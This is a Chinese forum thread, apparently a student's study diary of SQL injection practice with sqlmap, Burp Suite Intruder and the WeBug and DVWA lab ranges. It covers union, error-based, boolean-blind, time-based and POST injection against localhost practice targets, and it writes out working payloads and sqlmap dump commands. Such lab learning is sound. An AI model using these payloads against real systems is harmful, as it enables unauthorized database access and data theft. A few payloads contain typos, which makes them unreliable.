安全矩阵

 找回密码
 立即注册
搜索
楼主: Angelica

张欢学习日记

[复制链接]

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 2020-4-29 20:02:59 | 显示全部楼层
本帖最后由 Angelica 于 2020-5-4 22:26 编辑

今天复习一下sqlmap注入相关内容。
发现存在盲注和联合注入
  1. sqlmap.py -u"http://localhost:85/web/%E9%A1%B9%E7%9B%AE.html"
复制代码



然后,获取当前数据库名为php.cn
  1. sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" --current-db --batch
复制代码



获取当前数据库里所有表
  1. sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" -D php.cn --tables --batch
复制代码



获取字段名
  1. sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" -D php.cn -T 工作表1 --columns --batch
复制代码



dump字段内容
  1. sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" -D php.cn -T 工作表1" 姓名""年龄""微信" --dump --batch
复制代码


如果需要获取全部数据,则将--dump换成--dump -all即可

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 2020-5-4 22:28:42 | 显示全部楼层
最近手生,之前学习的好多内容都忘记了,所以复习了php以及html,css以及js方面内容。
回复

使用道具 举报

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 2020-5-7 22:37:18 | 显示全部楼层
今天在FreeBuf上看了一篇关于sql注入以及burpsuite intruders使用的文章,由于数分作业问题,还没复盘,决定明天复盘。

所以说,人有时候真的不得不向数学屈服。
回复

使用道具 举报

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 2020-5-8 22:39:49 | 显示全部楼层
本帖最后由 Angelica 于 2020-5-8 22:47 编辑

今天进行的是昨天文章的复盘。

首先,输入框中分别输入1和1',返回的页面分别为:




通过返回的结果,说明存在注入问题。

接下来,我们通过语句
  1. 1' and exists(select * from abc) --
复制代码
返回的报错页面


判断出数据库名称为web1

接下来,我们来猜解表名,如果猜错了,就会返回上面的页面;如果表名存在,就不会报错。

但是,在我们不知道表名的时候,怎么办呢?难道要一个一个试吗,那要试到猴年马月。
于是,我们想到借助工具帮助我们进行批量化处理--burpsuite中的intruder

先给浏览器设置代理然后抓取数据包并发送到intruder,如图所示:




然后在intruder模块中操作,如图中标注的:







这里要注意,在装载字典时,可以自己创建一个如图示txt文件


如果不嫌麻烦,也可以在Add框中一个一个加入。

最后攻击的结果如果所示:



我们就可以成功获取表名为:flag

接下来,我们再来验证一下。
在输入框中输入语句
  1. 1' and exists(select * from flag) --
复制代码

返回的结果为



成功!





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 2020-5-9 20:49:11 | 显示全部楼层
本帖最后由 Angelica 于 2020-5-12 22:39 编辑

今天,在WeBug上尝试了显错注入。
首先,我们先来了解一下,什么是显错注入?
显错注入就是在我们提交相应的测试语句的时候,页面上提示相应的出错位置。

显错注入的基本流程:判断是否存在注入点->找到注入点->猜解字段数->找到输入点->获取数据库名->利用系统自带库查询表名,字段名->拿到想要的数据
我们先打开靶场,然后按照这个顺序一步一步做下去。

判断是否存在注入



再输入id=2,3,4,返回的结果如下








比较之后,可以发现,id=3,4的截图与1,2相比,缺少了一行内容。

可以考虑,找注入点的时候用id=3(或4)+union方式。

寻找注入点
对于id=1,在后面加上单引号,双引号,括号之类的。
输入id=1'后,直接报错了



说明,我们找到注入点了www

猜解字段数
利用语句
  1. id=3' order by 1 #
  2. id=3' order by 2 #
  3. id=3' order by 3 #
  4. ....
复制代码

当输到3时,报错了



说明,字段数为2

找到输入点
  1. 3' union select 1,2 #
复制代码




输入点为2,即我们要的数据在第二列。

获取数据库名
  1. id=3' union select 1,database() #
复制代码




数据库名为webug

利用系统自带库查询表名,字段名
先查询当前数据库有哪些表
  1. id=3' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' #
复制代码




然后我们在其中看见了flag表!!!继续!!

查询flag表中的字段名
  1. id=3' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='webug' #
复制代码




所以,flag表中的字段名为id和flag

接下来看看,有哪些id和flag
  1. id=3' union select 1,group_concat(id) from flag#
复制代码




发现只有1个!!

再来看看它对应得flag值!!
  1. id=3' union select 1,flag from flag where flag.id=1 #
复制代码


返回得结果!!



提交flag!!



成功!
参考文章
https://mp.weixin.qq.com/s?__biz ... 86e543a905a390ea#rd

https://blog.csdn.net/ONS_cukuyo/article/details/88037625?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158902868419724839246921%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=158902868419724839246921&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v25-2-88037625.nonecase&utm_term=webug+4.0


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 2020-5-12 22:23:15 | 显示全部楼层
本帖最后由 Angelica 于 2020-5-12 22:40 编辑

布尔注入
布尔注入是指,代码存在SQL注入漏洞,然而页面既不会回显数据也不会回显错误信息,只返回“RIGHT”和“WRONG”,这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们的判断是否正确,这就是布尔盲注。

布尔注入的常见函数:



今天我们依旧用WeBug进行实战。

先打开靶场判断是否存在SQL注入。

1.id=1时,页面:



2.id=1'时,页面:


3.id=1' and 1=1 #时,页面:



4.id=1' and 1=2 #时,页面:



对比发现,找到注入点,且没有报错,不是显错注入。

猜解字段数
利用语句
  1. id=1' order by 1 #
  2. id=1' order by 2 #
  3. id=1' order by 3 #
  4. ....
复制代码


输入1,2时,返回页面为:



当输入到3,返回页面为:



说明,字段数为2。

获取数据库名
先判断数据库名长度
  1. id=1' and length(databse())>5 #
复制代码



  1. id=1' and length(databse())>4 #
复制代码




说明,数据库名长度为5

然后利用语句
  1. id=1' and substr(database(),1)>'a' #
复制代码


逐次试验,获得数据库名为webug。

查看数据表
先获取表的个数,利用语句
  1. id=1' and (select count (table_name) from information_schema.tables where table_schema='webug')>10 #
复制代码


最后发现表的个数为7

再获取每个表名的长度,语句为
  1. id=1' and length(substr(select table_name from informatin_schema.tables where table_schema ='webug' limit 0,1)1))>10
复制代码


再然后,跟上面爆破数据库名一样,逐个破解表名。
  1. id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))
复制代码


再跟上面笔记一样,获取字段名,爆破方法同上。

但是注意,当我们爆破了flag表获取数据之后,发现并不是正确的,,,最终在env_list表的envFlag字段中id=2处找到...

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 2020-5-14 20:38:47 | 显示全部楼层
昨天因为满课缘故,没有更新日记。

今天看的是延时注入问题,依旧用的是WeBug靶场。

先了解什么是延时注入

延时注入即时间注入,也是盲注的一种。通过构造延时注入语句,浏览器页面的响应时间来判断正确的数据。

常用函数:
if函数  条件判断函数,有三个参数,用法为if(a,b,c)
  第一个参数a:判断语句,返回结果为真假。
  第二个参数b:如果前面的判断返回为真,执行b。
  第三个参数c:如果前面的判断返回为假,执行c。
sleep函数  通过在语句中添加sleep(n)函数,强制让语句停留n秒钟

其实这个盲注的操作与布尔盲注的操作基本相同,就不赘述,今天用的是联合注入的方法获取flag。

跟之前一样找到sql注入
1.id=1  正常页面
2.id=1'  页面变化
3.id=1' and 1=1 #  页面正常
4. id=1' and 1=2 #页面变化

获取字段
  1. id=1' order by 1 #
  2. id=1' order by 2 #
  3. id=1' order by 3 #
  4. ....
复制代码


字段为2

获取数据库名
  1. id=1' union select 1,database() #
复制代码


数据库名为webug

获取表名
  1. id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' #
复制代码




然后首先查看flag表,获取其字段名和到底有多少个id以及id对应的flag,结果发现并不是我们要找的flag。
转向data_crud表,获取其字段名为



没有出现flag字段名,但是为了保险起见,可以查看一下。

转向env_list表,获取其字段名为



注意到有delFlag和envFlag。接下来就是查看这两个表是否有正确的flag了。

查看id数



发现有30个....从上往下一个一个看吧...

  1. id=1' union select 1,delFlag from env_list where env_list.id=1 #
复制代码

id=1一直到id=30返回的都是0...

  1. id=1' union select 1,envFlag from env_list where env_list.id=1 #
复制代码

id=1和id=2的flag值输入之后报错,而id=3,正确!



成功!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 2020-5-16 20:09:49 | 显示全部楼层
本帖最后由 Angelica 于 2020-5-16 20:11 编辑

今天依旧是在WEBUG靶场练习,练的是POST注入。

既然已知是POST注入,就不废劳什子劲了。

找注入点
文本框中输入:
  1. 1.id=1  无变化
  2. 2.id=1) 无变化
  3. 3.id=1'' 无变化
  4. 4. id=1' 报错
复制代码

观察发现,进行搜索要么无变化,要么报错,可知,显错注入不可行,布尔注入也不可行,只能试试延时注入。
输入 1' and sleep(3) ,页面没有延时直接跳转
omg子。
把and换成or,延时打开成功。
那么接下来就是延时注入的操作了。
先来几行代码获取数据库名长度

  1. 1' or if(length(database())>5,sleep(3),1) #    延时失败
  2. 1' or if(length(database())>4,sleep(3),1) #   延时成功
复制代码

所以是  webug 库名长度为5

然后判断数据库名
  1. 1' or if(substr(database(),1,1)>'a',sleep(3),1) #  延时成攻
  2. 1' or if(substr(database(),1,1)>'b',sleep(3),1) #  延时成功
  3. ......
  4. 1' or if(substr(database(),1,1)>'v',sleep(3),1) #  延时成功
  5. 1' or if(substr(database(),1,1)>'w',sleep(3),1) #  延时失败
复制代码


第一个字母为w

然后步骤就跟布尔注入相似,只不过这个是通过页面刷新是否成功延时,判断语句是否正确。

最后获取数据库名为webug

由于太过麻烦,就不一一试验了...



回复

使用道具 举报

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 2020-5-19 20:26:00 | 显示全部楼层
本帖最后由 Angelica 于 2020-5-19 21:07 编辑

最近补了一些课业上遗落的东西,然后又一次开启了在dvwa上的乱来(并不是!)

之前那个是安全级别为低的,今天复习了一下,前面有过程,就不赘述。

明天打算配合burpsuite进行安全级别为中的注入。
回复

使用道具 举报

3

主题

42

帖子

220

积分

中级会员

Rank: 3Rank: 3

积分
220
 楼主| 发表于 7 天前 | 显示全部楼层
今天本来是打算用burpsuite在dvwa上进行中级注入,但是在过程中,试验了多次!均发现:无法抓到包!!在网上搜了很多方法,如设置代理问题之类的之后,都没有解决这个问题!然后在19级的群里讨论后发现,需要把localhost改为本机ip。这么做之后,发现能抓到包了!

然后,我就转去了解localhost,127.0.0.1以及本机IP了:

localhost并不是IP!!!它是一种特殊的域名(无后缀),默认情况下解析到的是本地IP(127.0.0.1)
127.0.0.1是本机保留的私有IP,代表本机环回地址,本质上是绑定在虚拟网卡(loopback)上的IP
本机IP通常指“本机物理网卡所绑定的网络协议地址”,通常指的是IPV4地址

locaohost和127.0.0.1并不需要联网,即使无网络环境访问这两者也能找到本机
localhost是域名,默认是指向127.0.0.1
而本机IP中的有线网IP和无线网IP都需要联网后才能正常分配和访问,是本机对外开放的IP地址

也算是慢慢学习(佛)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-27 03:39 , Processed in 0.015602 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表